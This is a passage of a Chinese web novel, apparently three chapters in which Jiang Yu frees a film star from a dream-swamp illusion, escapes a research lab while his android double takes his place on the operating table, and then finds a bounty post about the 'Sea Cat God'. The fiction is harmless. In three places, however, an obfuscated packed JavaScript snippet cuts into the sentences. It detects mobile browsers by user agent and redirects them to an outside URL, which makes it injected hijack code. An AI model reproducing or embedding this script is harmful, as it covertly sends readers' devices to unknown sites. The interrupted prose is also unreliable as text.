他身上那种混不吝的气质已经全然褪去。虽然穿着满是血污的衣服，整个人却流露出自然端庄的感觉。他的情感都已埋在那张俊俏的脸下，眉眼中只剩下平静。这才是一名见惯大场面的影帝，总是波澜不惊。 但姜渔看到他，却像看到一棵死去的树。他的波澜不惊只是因为不再有人知道他的痛苦。 姜渔：“原来你真的有一种疏离感，月下雨衣少年。” 温不朽愣了一下，嘴角微微扬起，露出苦笑：“别再调笑我了。” 姜渔看向温不朽身后的谢雨晴尸体，说：“我还以为你会说很多。” “该说的话，其实我已经在现实中的坟前说过很多次了。”温不朽眼眸中升起一丝怀念与释然，“虽然再见还是控制不住感情，但我清醒后，也明白她只是……该怎么说？” “幻体。” “嗯，幻体。” 温不朽语气中带了几分自嘲，他看向姜渔：“那你又是什么？我隐约记得，你说如果我不醒来，我们都会死，所以，你不是幻体？但是据我所知……联邦还没有进入幻境沼泽医治别人的技术。” “我吗。”姜渔不假思索，说道：“海猫神的使者。” 她在温不朽困惑的眼神中，生动地比划了一下“海猫神”的模样。 她发现温不朽的眼神更加困惑了。 “唉，算了，这不重要。”姜渔说，“你知道怎么醒来了吗？” 温不朽遥望江面：“我好像要回到那个家里，把电视关掉才可以。” “怎么这么麻烦？” 姜渔口吻中带着一丝不满。 她已经能感觉到与1301室的连接，如上一次一样，只要心生念头，就会回到1301室。 对面，温不朽陷入纠结。 ……麻烦？那正常的清醒过程又该是什么样啊？我第一次陷入幻境沼泽我也很陌生的好不好。 温不朽自从摘得影帝桂冠之后，工作认真，待人真诚，从没听到这样不满的斥责。 他想到姜渔在自己幻境沼泽中张牙舞爪的飞扬气质，小心翼翼地问：“也许是因为我演戏对剧情比较严谨？” “分手下雨，反派话多，车祸失忆，那么多老套剧情。这种时候就不要给自己脸上贴金了。” 温不朽内心感到丝丝酸涩：“哦，好吧。我也不想这样的，真是抱歉。” “没太多时间了，你跟我来。” 姜渔说罢，牵起温不朽的手，向江边走去。 温不朽看着姜渔果决的背影，目光又跃向江面，为难地挤出一句：“需要跳江这么刺激吗？那个小区离这里其实不远的。” “住口，雨衣少年。” 温不朽垂下头。他现在只有一个念头，就是回到现实改掉自己年少时在猎人论坛注册的ID。 而他垂下头的那一刻，内心只觉诧异。 只见地面上已经不再是冰冷的水泥地，而是暖色的木地板。 这是怎么回事？ 温不朽抬起头，目光震惊，他看到江面也已经消失。浑身浴血的女生在前扬动着马尾，带他走在一条横亘漆黑虚空的地板小路上，尽头是一扇微开的小门，门后渗出亮黄的灯光。 他忍不住问：“我们这是去哪？好像很危险的样子。” “别怕，回家。”姜渔头也不回地说，“我家。这样快一点。” “哦……叔叔阿姨也在家吗？我该怎么解释这些？” 温不朽自认很贴心。 他想这位神秘的姜渔女士肯定有许多事情需要保密，两人这幅样子回家，难免会让她的父母担心吧…… “如果害怕就聊你的事。”姜渔却不领情也不接茬，问：“宫少云和贺少云是什么关系？演唱会上，我看宫少云的状态不对劲，暧昧不清的。” 温不朽一愣：“抱歉，这是他们两个的隐私，我不能说。但没到暧昧的方向，你别误会就行。” “没关系。那为什么是贺少云在这里成了歌星？” “我想，是因为我听过他的脱口秀吧。”温不朽也不禁跟着姜渔复盘起来，他思索着说：“我内心深处很羡慕他虽是夜莺机动队的队员，但依然敢于追求自己的梦想。” “那你也要求退票了吗？” “嗯，退了。他说得确实很烂。” 真不是人啊你，姜渔身形一顿，已经来到门前。 她推开门，重新踩到1301室的客厅地板上，手向前一拽，温不朽被大力拉扯了一个踉跄，跌入客厅之中。 纪小麦一个侧身，温不朽踉跄跌出去几步才稳住身形。 她张大嘴巴：“怎么回事？” “影帝对剧情要求很严谨，醒过来又要耗费很久，我不想再耽误时间。”姜渔说着，关上了纪小麦卧室的门，“必须快点带他回到现实。” 纪小麦打量沉默的温不朽：“影帝在幻境沼泽也对剧情要求这么严谨啊，厉害，真是厉害。” 别说了，求求你们别说了。温不朽虽然面上古井无波，但内心格外复杂。他听着两人的对话，不知道为什么有一种隐私全无的羞耻感，两人口中一遍遍的“要求严谨”似乎成了一种揶揄，感觉自己给她们添了很大的麻烦。 纪小麦眉头微微一皱：“架子也很大，没见他有什么感激之情。” 姜渔微笑起来，她知道纪小麦在表示她的不满。因为她很爱护自己的小家，此时多了一个人自然敌意爆棚。但纪小麦本性又极为善良，是会为了救小女孩牺牲自己的“笨蛋”，根本不会怪姜渔忽然带人来到家中，更何况此时是危机性命的关头。 她不过是呈口舌之快而已。毕竟难得多了一个姜渔之外的人可以对话。 温不朽自然不像姜渔一样那么了解纪小麦，以为纪小麦是对自己真的很不满，连忙开口：“多谢，多谢两位女士。” 纪小麦：“像是在感谢工作人员，一股营业的气息。” 到底要我怎么办？温不朽心里已成了一团乱麻，他看着眼中带着盈盈笑意的姜渔，忽然记起公司的教导。他硬着头皮上前，忽然牵起姜渔的手。 温不朽轻轻印下一吻。 姜渔惊了：“怎么这么冒昧？” 纪小麦眉头更加紧皱：“猥琐。” “抱歉，是公司教的，用来表示最诚挚的谢意。” 温不朽硬生生挤出一句解释，他看着两人不善的目光，恍惚间回到了自己在接头卖唱的时候，那时他不是影帝，无人关心，只是一个普通的公民，没有影迷也没有粉丝，更不可能有人会因为他的一吻而激动得不能自己。 他知道自己乱了阵脚，也知道不能以惯常的方式来对待两人，于是语气诚恳地欠身说：“等我回到现实，一定会找到两位表示感谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624491|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 纪小麦：“不用。我已经死掉了，你找不到我。” 温不朽眼神一滞。 死掉了。 哦，是鬼。 惨了，我好像来到更危险的地方。 “好了，我们先回去。”姜渔再次拉住温不朽的手，合上双眼，心中一动。 却感受到了一股阻力。 这股力量横在1301室与现实之间，让她无法再像从前一样来去自如。 姜渔的心一下子跳到嗓子眼，她睁开眼，呆呆地向纪小麦说：“好像，带上他就回不去现实了。” 纪小麦一惊：“怎么这样？” 温不朽指向纪小麦的卧室，礼貌说：“不然还是放我回去幻境沼泽吧，我打个车就好了。最多一个多小时。” 纪小麦快步向前，推开卧室门。门后已经变成熟悉的卧室，再无幻境沼泽的样子。 她再次关上门，打开，重复几遍，都没有变化。 直到最后一次关上房门室，她注意到房门上的黑板，心中一动。 纪小麦将黑板摘下来，走向温不朽，将其贴到温不朽的胸前。 果然，黑板上浮出了一句话—— “老师是怎么教的？不要随便给陌生人开门，快把他撵出去！让他哪来的回哪去！” 温不朽垂着头，和两人一起打量黑板上的文字。 温不朽面对这种骇人听闻的异象已经逐渐免疫了，很诚恳地低头向胸前的小黑板提问：“老师，回不去该怎么办呢？” 没人搭理他。 “亏你能想到这个办法。”姜渔眼中一亮，看向玄关门，说：“出了门，就能回到现实。应该是这个意思？” “嗯。”纪小麦也翻起手账本，点点头，“幻境沼泽已经破解，晶素已经到账，他只可能是回到现实。反之，如果出了门代表他将回到幻境沼泽的话，我们就可以一直让他进入幻境沼泽，就像速通同一个副本一样，不断地刷取晶素了。房主应该不会让我们这么轻易地还房贷。” “没错。” 真的没错吗？听上去好像要把我当成工具人的样子。温不朽在内心深深地怀疑着。 “去吧。” 姜渔则不再犹豫，她拉着温不朽走向玄关，打开门，现出门后辽阔的虚空，不由分说地将他一把推了出去。 温不朽还想说话，身子却瞬间消失了。 姜渔回身，看向纪小麦，说：“我也先回去了。” “去吧。”纪小麦点点头，“我会看这次有什么收获，对现实里的情况有帮助的话，我会再喊你。” “好。” …… 许氏研究所，地下17层，0号试验区。 苗宁象在电脑前，心中愈发焦急。 距离姜渔“休息”已经过去近五个小时，再拖下去，这间实验室将会自动上报为“实验事故”，届时安保人员便会将实验室重重包围，几人再无脱逃的机会。 唯一的生路，就只剩下拼死一搏，直接强行破开另一间实验室的门，令“百年融合”的手术失败，启动紧急逃脱程序。但强行破门势必引起安保部门的注意，届时同样要面临一场恶战。 唉。苗宁象内心深深叹气，一脸愁容加上她重重的黑眼圈，尽显颓丧气质。 而就在这时，身后传来一道熟悉的声音，稳住了苗宁象的心神。 “我回来了。” 58. 性命的价值 姜渔从手术台上起身。 她看到蹲在墙角的桐枯，一阵恍惚。 桐枯顶着温不朽的脸，一脸疑惑：“回来？你去哪了？你不是一直睡在这里吗？” 姜渔斜了桐枯一眼：“有必要这么严谨么。” 桐枯微微一笑：“你知道的，影帝应该对剧情台词这些要求高一点的。” “我看未必。” “怎么未必了？”桐枯无趣地撇撇嘴，“刚刚小象用电脑调出坦克大战的游戏来缓解紧张，她就很佩服我对那游戏世界观的见解和纠正，心悦诚服地认输了不是吗？” 苗宁象扶额：“因为你说那些让我更紧张了好不好？” 姜渔翻下手术台。她来到苗宁象身边，看着巨大屏幕上流动的代码，问：“怎么样了？” “时间不多了，我们可能要采取最坏的……” “不，我说进行手术的那个实验室。” “哦……” 苗宁象一愣，她双目幽蓝闪动，再度进入网络的世界。 她浓浓的眉毛一挑：“咦？” “怎么了？” “他醒了……但还在手术台上。” “与他通话。” “好。” 哗啦啦，电脑屏幕上一阵闪动，终于不再布满代码，而是替换成一幅画面。 幽暗房间中，一个男生赤膊坐在手术台上，他双手抱头，万分迷茫的样子。 手术台上方，六根手臂粗细的银制管状机器，正对着手术台。 姜渔沉声喊道：“温不朽。” “叫我干什么？”桐枯在旁凑过身来。 他看到屏幕中的影像，忽然愣住了。 姜渔感受到耳边传来桐枯逐渐急促的呼吸声，不忍去看，她只能盯着屏幕中，缓缓转过身的温不朽。 温不朽赤着上身，看向手术台旁的电脑摄像头，眼中闪过戒备：“你……是谁？” “姜渔。这不重要。”姜渔语速加快，说：“你即将被执行手术，现在，从手术台上下来。” 视频中，温不朽将信将疑，他尝试着将腿放下手术台。 瞬间，象征警告的红光开始频繁闪烁，一道机械的电子合成女声响起：“实验体离开基台，尽快归位。重复。实验体离开基台，尽快归位！” 温不朽受到惊吓，又将腿缩了回去。 苗宁象急声说道：“精炼进度已经到99%了！” 温不朽听到别人的声音，更加迷茫：“什么精炼进度？” 苗宁象：“你旁边机器上有显示！一旦进度到达百分百，手术就将开始！快离开！” 温不朽移动目光，果真看到离自己不远处，摆着一台罐头形状的铁质机器，造型粗犷又神秘。 温不朽眼中闪过一丝挣扎，他转头冷声质问：“我又为什么要相信你们？谁知道这是不是对我的治疗？” 苗宁象万分焦急却又被问得语塞，气得说不完整话：“你……” “我是谢雨晴的朋友。”姜渔则在一旁淡淡说。 屏幕中，温不朽如遭雷击，呆在原地。 他的声音依然沉稳，拳头却已经攥紧，青筋迸起。 温不朽紧盯着镜头：“你说什么？” 姜渔不遑多让：“离开那里，我自然会告诉你。” 温不朽沉默几秒，终于从手术台上翻了下来。昏迷已久，他的四肢已经没有力量，一时间失去支撑，狼狈地倒在手术台边上。 瞬间，温不朽所处的0号实验室，以及姜渔等人所处的实验室，都开始闪烁起频率极快的警示红光，尖锐的电子女声回荡在每一个实验室、每一条走廊中。 “紧急逃生程序启动！已开启紧急逃生通道！全员撤离！重复！紧急逃生程序启动！……” 姜渔长出一口气：“成功了。” 她这才转过头去看桐枯。 桐枯站在几米外，背对着两人。 他转过身来，脸上已无血色。他的手上拿着一把刀，刀刃处，鲜血滴落。 姜渔心中一颤，她的目光落在桐枯手腕的伤口处。 那是一道极深的伤处，血肉绽开，在白炽灯的照射下，血肉深处，寒光闪动。那是属于机械零件的寒芒，再滚烫的鲜血也无法将其温暖，即如桐枯此时苍白的脸色。 桐枯与姜渔对视良久，挤出一丝苦笑，惨然说道：“是从什么时候开始的？” 苗宁象担忧看去，满脸不忍。 “我想，不过一个月。”姜渔平静回应道，“自从温不朽在片场昏迷后，再次出现在公众面前时，应该都变成了你。” “所以，我也是那些破铜烂铁。”桐枯笑得更难看了，自嘲道：“我当然不知道他们被创造出来有什么用，我当然不知道自己究竟想要什么。我本就不应该知道的，对么？” “我活在痛苦与后悔中，却不知道为什么痛苦，为什么后悔。” “因为那都是属于本体的秘密，我只是继承了他的情绪而已。” 桐枯摇着头，他将刀刺入自己的手腕，用力挑出其中的机械骨骼与合成血管，惨笑着端详这些零件，“很奇怪吧，我现在还是能感受到痛苦和后悔，却感受不到疼。这是为什么？是这具身体也在嘲笑我只是废铜烂铁么？” 苗宁象脱口而出：“不，应该是芯片检测到主体意识觉醒后设置的保护机制。这个程序写得还是蛮先进的。” 桐枯与姜渔都看向她。 苗宁象意识到自己的话不合时宜，她吐了吐舌头，向桐枯点头哈腰以示抱歉。 “喂！喂！谢雨晴的朋友！你们还在吗！” 温不朽的呼声响起，吸引了众人的目光。 只见屏幕上，手术台上的六根钢管已经变得通红，嗡嗡作响。温不朽从一侧入境，一张剑眉星目的脸抵在镜头前，声音中带着惊慌与愤怒：“为什么我打不开门！” “等等。” 苗宁象再次黑进网路之中。 数十秒后，苗宁象表情惨淡地说：“0号实验室作为事故发生的第一地点，已经启动全面封锁状态。” 姜渔出声问：“如果是从外部打开呢？” “……没那么简单。” 苗宁象缓缓摇头，她幽蓝的瞳孔看向姜渔，磕磕巴巴地说：“这……这场手术事故会引发一场威力巨大的爆炸，就算我们带着温不朽跑出去，也无法逃离爆炸区域。除了高层搭乘的三台直升飞机外，所有人都会死在这场爆炸力。” 一时间，在场所有人都沉默了。 温不朽在屏幕中的表情变得十分沉默，“那该怎么办？” “只有一个办法，那就是让手术正常进行。”苗宁象声音低落：“这是一场针对你的手术，也只能是你重新回到手术台上去，才能让手术正常运行……对不起。” 对不起，要放弃你的性命，来救下我们。 苗宁象虽未将话说完，但是大家都明白她的意思。 无论姜渔等人是否在这里，手术都将进行。唯一的不同，只是温不朽醒转后，离开了手术台，导致手术中途出错，开启紧急逃生通道，让姜渔等人趁乱安全逃脱而已。 他总是要躺在手术台上，在那台由非凡之力驱动的机器下，经受一场不知终点为何的手术。 “还是不知道是什么手术么？” “手术名称为百年融合，文件中未做详细阐述，只列出危险等级与成功概率。成功概率在万分之一上下，手术失败的话……会当即死亡。” 温不朽沉默几秒，屏幕上看不清他眉眼中的情绪，只听到他淡然的回应：“我明白了。” 说罢，温不朽扣住电脑，结束了通话。 苗宁象双眼恢复常态，她闷声收起电脑，背在肩上，看向姜渔。 姜渔表情不起波澜：“我们也该走了。” “那温不朽……” “他没有叫我们去救他，就代表他已经做了选择。我们都明白。”姜渔环视二人，严肃说：“手术已经出了差错，我们都不知道接下来还会发生什么事情，不要再浪费时间。” 说罢，姜渔打开了试验室的门。 “那他呢？”苗宁象指了指昏迷在地上的医生。 姜渔没有回头，看不见她的表情。 “他想要我的命，我不杀他已经足够仁慈了。如果他能及时醒来跑掉，算他命不该绝。” 苗宁象犹豫几秒，重重点头跟上，却听见一旁桐枯的声音清晰响起： “其实，你们都知道还有一个办法的对吧。” 两个人身形一滞，姜渔缓缓转身：“什么意思？” “我是仿生人啊。”桐枯忽然笑了，“我是最像温不朽的那个人，虽然不知道在我身上用了多高新的科技，不知道是不是所有血型，基因都一样。但至少值得试一试的，不是么？” 他看着姜渔，说：“试一试……让我躺上那个手术台，或许我可以代替他将手术进行下去。” 姜渔转过身，眼神淡然：“可你没理由这样做，我们也没理由再浪费时间去冒这样的险。” 虽然桐枯所说即是她所思所想，但一个拥有思想的仿生人，又何尝不是一个活生生的人？ 这不是幻体，他有自己的思维。 姜渔分不清那些思维究竟是由代码生成，还是属于一个真实存在的全新灵魂。对她而言，温不朽与桐枯都是真实存在的人，且与自己并无瓜葛，她无法也不想去擅自衡量两条性命的重量。 桐枯还在身后说：“你们是很好的人，我已经知道了。但我不值得。我的演技，我的价值，我资助盲人的事情，都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636886|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是我做的，我只是窃取了温不朽的记忆。” “我活着，只是一个副本。但温不朽活着，只要条件允许，就能继续创造出无数个像我这样的仿生人。一个温不朽的仿生人，被人这样记得地去生活，也没什么意思。” “姜渔。” 姜渔低声回应：“嗯。” “人类有命运这种说法吧。”桐枯上前，出门，站到姜渔面前，认真说：“仿生人也有命运吗？” “我不知道。” “我觉得有。影帝偷偷送快递这件事就很离谱吧，偏偏我做了，还遇上了你，又发生这种事情。”桐枯望着走廊的尽头，“我想，我还要继续启程，但不需要你带着我了。这是我的决定。” “而且，我忽然知道自己该为什么难过了。”桐枯笑着看向姜渔，说：“虽然时间很短，但这么快就要与你们二位分别，我很难过。如果可以，我更喜欢活在墙的外面，一直开车。” 姜渔抬起头，她看着桐枯坚决的目光，叹了口气，不再犹豫，“我送你。” “多谢。” 姜渔迈开步子，渐渐奔跑起来，直至三人停在走廊尽头，门上写有“0”的实验室前。姜渔与两人对视一眼，拿起走廊上的灭火器，狠狠砸向门锁！ 一声，两声，三声，走廊中咣咣作响，压过尖锐的警报声。 直至姜渔又一次用力砸门后，几乎脱手，才发现门已经开了。 房间内，温不朽躺在手术台上，错愕地侧头看向三人。 桐枯快步向他走去，说：“换我躺上去。” 温不朽目光震惊：“你？” 桐枯语气释然，温声说：“别惊讶，我身上流着你的血。” “你看上去和我年纪差不多大，我怎么可能有这么个儿子……” 温不朽还在皱眉反驳，已经被桐枯一把拉了下来，自己躺了上去。 苗宁象上前几步扶起温不朽，将他拉向门外，同时侧头看了眼罐状仪器，肃声说：“没有引发实验体错误的警报，手术……将继续进行！” 桐枯侧头微笑：“太好了。” “喂。”姜渔忽然出声，“你喜欢的与痛苦的都和他不一样。所以，在我和小象的记忆中，你不是他。” 苗宁象表情哀伤地点点头。 姜渔缓缓合上门，留下最后一句：“我会记得你，而不是记得一个影帝。” 苗宁象借着门缝强笑挥手：“如果有万分之一的机会，再来陪我玩坦克大战吧。” 门关上的最后一秒，三人都看见手术台上的桐枯点了点头。与此同时，他头上悬着的六根胳膊粗细的银管，猛然迸发出无数纤细凌厉的猩红光线，那些光线滋滋作响，全部射向桐枯的胸膛！ 在桐枯的嘶吼声中，门关上了。 姜渔看着惊疑皱眉的温不朽，淡淡说：“跟我们走。” 在苗宁象的带领下，姜渔等人转进了走廊尽头的一扇小门，这里是冰冷的钢筋步梯楼道，上方仍在传来慌乱的脚步声，代表研究所的人正在撤离，三人也开始攀登步梯。 “那个人到底是谁？” 温不朽勉强出声问道。他很努力才跟上姜渔和苗宁象的步伐，因为虚弱，上气不接下气。 姜渔语气平稳：“你的仿生人。自从你昏迷后，他代替你出席各种活动。” 温不朽陷入了沉默，此时他们已经追上了研究所撤离的人群，他不得不低下头，躲避他人的目光。 姜渔脱下外套，披到他的身上。 “多谢。你就是谢雨晴的朋友？” “算是吧，怎么了？” “哦……没事，只是从不知道而已。” 温不朽一边爬楼一边搭话，“如果早点知道的话，没准我会在幻境沼泽中见到你。” “幻境沼泽？！”苗宁象大吃一惊。 她拨开因为爬楼而凌乱在眼前的长长碎发，使自己能清楚看清温不朽的表情，万分诧异：“你陷入过幻境沼泽？” 温不朽看向苗宁象的重重黑眼圈，说：“刚刚醒来，不过，请为我保密。” 苗宁象点点头，又升起疑惑：“既然要保密，为什么轻易地跟我们说了？” “因为……” 温不朽看向身前步伐稳健爬楼的姜渔背影，那跃动的黑色马尾令他一阵恍惚，“我总觉得在幻境沼泽中看到过和她很像的背影。” “姜渔吗？” “嗯。不过，肯定不是她。那个背影的头上，有两个毛绒绒的耳朵。好像，还有尾巴。” 姜渔听着身后两人的交谈，竖起了耳朵。 苗宁象则听得一头雾水：“那是什么？” 温不朽回忆起来也目光疑惑，他看着苗宁象，有些难以启齿地说： “你听说过海猫神么？” 59. 寻找神仙 逃离的工作人员已经越来越多，都挤在并不宽敞的步梯间内。温不朽形象变得更加狼狈，他用双手撑起姜渔的外套遮住自己的头，佯装避免头被砸到的样子，实则隐蔽长相。 苗宁象听到一怔。 她侧头看去，与躲在外套下的温不朽对视。 “海猫神？是什么动漫角色吗？” “不是。是一个神，像猫，生活在海里，有九只尾巴，瞳孔的颜色不一样。” “还是像动漫角色。” “说了不是了。” 姜渔忽然回头：“你找祂做什么？” “如果你真的见过一个神，当然想找到祂不是么？更何况祂曾经在内心最深处帮过我。” 温不朽说起自己的道理来，就不像谈及海猫神那样难以启齿，理直气壮起来：“这种来自内心深处的信赖你可能是不会理解的。比如我看到你只是背影与海猫神相似，就会愿意跟你们分享这个秘密。这是属于我和祂之间的羁绊。” 姜渔转身埋头爬楼梯：“确实很难理解。那，找到之后呢？” 温不朽嘟囔着：“道谢，供奉，信仰，大概是这些吧。但是，如果可以的话，我想一直追随祂。” 苗宁象在旁提示：“可你甚至不确定这个猫猫神是否存在。” “嗯。”温不朽心事重重地应声，“海猫神。” 苗宁象继续说：“你也不确定海猫神是不是要你追随。” “嗯。”温不朽的声音更低更失落。 苗宁象最后补刀：“退一万步说，你追随海猫神要去哪里？你会舍弃现在的生活吗？” “自然。” 这一次，温不朽的语气十分笃定：“在它身边，我才有脱胎换骨的感觉。若可以追随她，就算舍弃所有身家我也不在乎。” 两人前方。 姜渔的耳朵又竖了起来。 姜渔闷头爬梯，漫不经心地问：“身家多少？不会很可惜么？” “大部分都捐赠给永明院了，只剩下几亿的活钱。所以处理起来也很简单。” 这样啊。 上亿身家，姜渔听到这个数目，忽然产生一个念头，若是在现实中直接购买晶核带回到1301室呢？ 其实姜渔之前也冒出过一样的念头，但很快就被顾礼曾吐露的信息拍了下去。因为顾礼曾说一颗30期晶核的线索就价值60万，她自认购买晶核这种豪放手笔，根本不是自己这种工薪阶级能做出的事情。 但现在，温不朽一开口，她觉得自己若是操作得当，好像也能尝试尝试。 姜渔继续旁敲侧击：“那就是都捐给永明院了？” “其实不用。永明院从两年前就可以自给自足了，所以我才会余下一些钱。”温不朽说，“我对怎么处理这些钱还没有想法。” 姜渔心想：我倒是有了一点想法。 但首先是要从他手里套到这些钱。 于是姜渔字斟句酌地说：“嗯……关于海猫神，我倒是略知一二。” 温不朽的话在身后淡淡响起：“你这句话很像是在琢磨着怎么从我手里套到这些钱。” 姜渔身形一顿，转身微笑：“抱歉，我以后会做得更加自然一点。” “我很期待，谢雨晴的朋友。” “那个外套。十万。” “……什么意思？” 姜渔站停回身，在高一阶的楼梯上俯视温不朽：“你不想在这里暴露行踪吧？我借了你外套用来遮掩。租用费十万。” 温不朽咬咬牙：“行。” “二十万。” “行。” “……三十万？” 温不朽沉默了，他作势要将外套拿下来。忽然，姜渔攥住了他的手腕，笑着说：“二十万就二十万，我做生意很有诚信的。”转身继续爬楼。 苗宁象看了看身上的外套，又看向温不朽。 温不朽迎上她跃跃欲试的目光，冷冷出声：“一件足够了。多谢。” 苗宁象沮丧地闷头爬楼。 数分钟后，三人终于随着人潮来到1楼，苗宁象根据自己脑海中对建筑设计图的印象，在前方引路，穿过一条条走廊后，开启一扇小门，回到最初抵达研究所的工厂。 货车安静地停在工厂中央，车后的大门已经开启。姜渔翻身上车，弯腰翻找一番，并没有找到备用钥匙，只能重操在云市的本行，熟练拆开方向盘下的电路系统。索性这是一辆仍采用旧时机械机构的货车，姜渔简单一番搭线点火后，货车已经启动。 苗宁象坐在副驾驶，放弃了动用非凡能力启动车辆的念头。 温不朽坐在后排，忍不住出声问：“你到底是做什么工作的？” 姜渔架势货车倒车，观察着车后景象，顺便在后视镜中与温不朽对视一眼，说：“精卫快递竭诚为您服务。” “哦，精卫啊。”温不朽一脸了然的表情，不再对姜渔的手法产生任何异议。 货车驶离许氏研究所，距这座矗立于旷野中的巨大黑色魔方越来越远。视野中，天上三架直升机飞行渐远，冷清道路上也多了许多同行车辆。所有人都在逃离许氏研究所。 忽然，旷野中忽然传来一声巨响，随之而来的，是地面微微的震动。姜渔三人眉头一皱，同时看向身后，许氏研究所的一层二层已然被火光吞噬，显然发生了极其严重的爆炸。 三人神色一黯。 “我看到的文件中，技术人员所推测的，手术失败后引发的爆炸威力，要远远大于这场爆炸。”苗宁象看着后方蔓延的火光，喃喃说，“桐枯虽然让手术顺利进行了，但现在来看，进行得并不顺利。” 温不朽转过头，他看着姜渔问：“所以，我到底为什么会在这里？” “别问我，我也不知道。”姜渔说，“我们只是接了许江竹的单子，护送一批你的仿生人来到这里而已。” 温不朽陷入沉思。 一路无话。姜渔架势货车直奔曙光之城，进城后，又一路驶向旷野星光。当货车停在旷野星光大楼前，三人陆续下车。 与离开时一样，许江竹在几位保镖的簇拥下，站在楼前，不知等待了多久。 当看到姜渔等人下车，她快步上前，表情担忧又惊喜，她走到姜渔面前，拉起她的手，神色一转，露出深深的自责与懊悔，她哽咽着说：“太好了姜渔姐姐，你们真的回来了，我得到消息后，一直在祈祷这辆货车里坐的是你们。” 姜渔看着许江竹泪眼汪汪的双眼，内心觉得万分好笑，但面上只是说：“劳烦许总挂念了，其实任务还是很顺利的，只是我们在研究所出了点事故。” “我明白的，是许氏管理不当，才让两位姐姐身陷险境。” 许江竹只字不提姜渔在研究所内出了事故，言辞间全推到无人可以顶罪的许氏管理上，同时话锋一转，看向还披着姜渔衣服的温不朽，说：“看来，旷野星光管理也有疏忽，温先生，你怎么也在这辆车上？莫非你去研究所了？” 温不朽表情漠然：“我不知道自己是怎么过去的，我是被两位女士从许氏研究所的手术台上救出来的。” 手术台？ 许江竹瞳孔一震，她表情迟疑地打量着温不朽，已经分不清他是仿生人还是…… 温不朽明白许江竹的目光，讥讽一笑，说：“或许，那场手术是为了让我从幻境沼泽中醒过来？” 许江竹瞳孔闪过一丝震惊。 仅仅一瞬间，又归于平静，许江竹笑容释怀：“看来手术进行得很顺利。” 她看向姜渔二人，礼貌地说：“尾款将在两个工作日内打到精卫的账户上，为表歉意，我会额外为两位女士补偿一部分报酬。” “多谢许总的慷慨。” 姜渔风轻云淡地点点头，不准备再插手旷野星光的内部纠纷，与苗宁象转身离开这条街道。两人拦下一辆的士，报了精卫快递公司的地址。 的士上，姜渔与苗宁象坐在后排，苗宁象长湖一口气，活动一下肩颈，万分慨叹地说：“许氏的单子果然都不好跑。” “这一次，多谢你，小象。”姜渔看着苗宁象，她靠在车窗上，浓浓黑眼圈包裹的双眼中，更加疲惫无神，再没有尽早时病态的精神焕发模样，显然已经心疲力竭。 “没事，能帮上忙，我很开心。”苗宁象勉强一笑，没多久就睡去了。 姜渔沉下心，梳理着今天的信息。 首先，对于她来说，她已经度过了几天之久。幻境沼泽与现实世界不对等的时间流速，很容易让她产生强烈的割裂感。 在今天准备逃离实验室的时候，面对那个昏迷的医生，她第一反应是直接杀掉算了。但转念一想，她才意识到这里是现实，躺在地上的医生并不是可以随意斩杀也没关系的幻体。 索性只是一个本就要杀了她的医生。但日后面对毫无瓜葛的陌生人，甚至一些亲朋好友，自己又会不会被在幻境沼泽中释放习惯的杀意支配？ 她最好找到两者的平衡之法。 其次，是1301室的结算信息。不过因为纪小麦至今也没有呼唤她，想必也没有什么紧急状况。 最后，则是温不朽财产引发的问题。她现在迫切想知道在现实世界中，衍生体晶核在市场上的流通情况，以便自己推断能否直接购买晶核，换算呈晶素，用来偿还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14654067|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房贷。 梳理思路时，车辆已经来到精卫的门口。曙光之城的出租车和各城市的出租车都一样，玩命地开，速度极快。 因为老赖的关系，姜渔贴心地叫醒苗宁象，并请她付钱。两人这才下车，走向精卫接待大厅，互相道别，彼此嘱咐好好休息。 姜渔快步回到自己房间，三两下换下衣服，简单洗漱一番后，湿着头发摊在床上，点开猎人论坛。 她本想搜索一下晶核的价格，结果还没输入关键词，却被一条帖子吸引了。 《（保证金已缴纳）十万元悬赏：海猫神的一切信息，核实立即打款》 姜渔眉毛挑了挑，立即点进去。 然而，这个已经有上百楼回复的帖子，点进去却显示“帖子已删除”。 姜渔只好退出来，重新刷新一下界面，那个帖子再次出现了。 《（保证金已缴纳）十万元悬赏：海猫神的一切信息，核实后依然立即打款》 显然，这是楼主的第二次发帖。 姜渔点进去，发现帖子内容没有介绍任何信息，只有楼主的ID。 “月下雨衣少年”。 温不朽啊。姜渔眼中漫起一丝笑意，她向下翻动，看看其余人都在评论什么。 刷新评论时，界面却再次显示：“帖子已删除”。 怎么回事？ 姜渔疑惑之际，刷新猎人论坛的界面，帖子再次出现了。 《（保证金已缴纳）十万元悬赏：海猫神的一切信息，核实后依然立即打款》 